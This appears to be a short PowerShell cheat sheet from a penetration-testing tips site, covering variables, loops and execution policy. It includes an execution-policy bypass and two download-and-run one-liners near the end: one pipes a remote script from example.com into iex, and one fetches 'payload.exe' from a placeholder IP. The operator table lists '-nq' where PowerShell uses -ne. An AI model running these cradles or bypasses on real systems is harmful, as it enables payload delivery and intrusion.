> For the complete documentation index, see [llms.txt](https://f1shh.gitbook.io/pentest-tips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1shh.gitbook.io/pentest-tips/scripting/powershell_basics.md).

# Powershell Basics

## About

This is a pocket guide to PowerShell for penetration testers. Advanced users will get nothing out of this.

### Variables

**Setting Variables:**

```powershell
$a = get-process
```

**Retrieving values:**

```powershell
$a <enter>
```

### Conditionals

Put conditionals inside `{}`

|    Symbol    | PowerShell |
| :----------: | :--------: |
|       <      |    `-lt`   |
|       >      |    `-gt`   |
|      <=      |    `-le`   |
|      >=      |    `-ge`   |
|      ==      |    `-eq`   |
|      !=      |    `-nq`   |
| Match String |   `-like`  |

```powershell
Get-Process | Where-Object {$_.ProcessName -Like '*con*'}
```

You can use `?` to represent the output of the last command:

```powershell
Get-Process | ? {$_.ProcessName -Like '*con*'}
```

### Loops

**Print all elements in $a:**

```powershell
$a | foreach {$_}
```

**Execute a command returned by the loop use `&`:**

```powershell
$a | foreach {& $_} | select -first 5
```

**Assign var `$x` to each elm:**

```powershell
foreach ($x in $a) {$x}
```

## General Tips

**Create a list split by a delim**

```powershell
$_.split(".")
```

**Get current powershell version:**

```powershell
$PSVersionTable
```

**Run older version of powershell:**

```
powershell -version <version number>
```

### Execution Policy

Execution policy is not a security protection. It is very easily bypassed. You can run PowerShell with the `-noprofile` to do so. You can also change the execution policy using:

**Bypass Execution policy when running script**

```powershell
Get-Content C:\temp\script.ps1 | powershell.exe -noprofile -
```

**Get Execution policy**

```powershell
Get-ExecutionPolicy -List
```

**Set Execution policy**

```powershell
Set-ExecutionPolicy -Scope 
```

### Download and Run:

```powershell
Powershell -nop "iex(New-Object Net.WebClient).DownloadString(`http://example.com/script.ps1`)"
```

```powershell
Powershell -c `(New-Object System.Net.WebClient).Downloadfile('http://<IP>:<port>/payload.exe','payload.exe')`
```

### Linux to PowerShell

**Cat:** `Get-Content`

**Grep:** `-Select-String -pattern "password"`
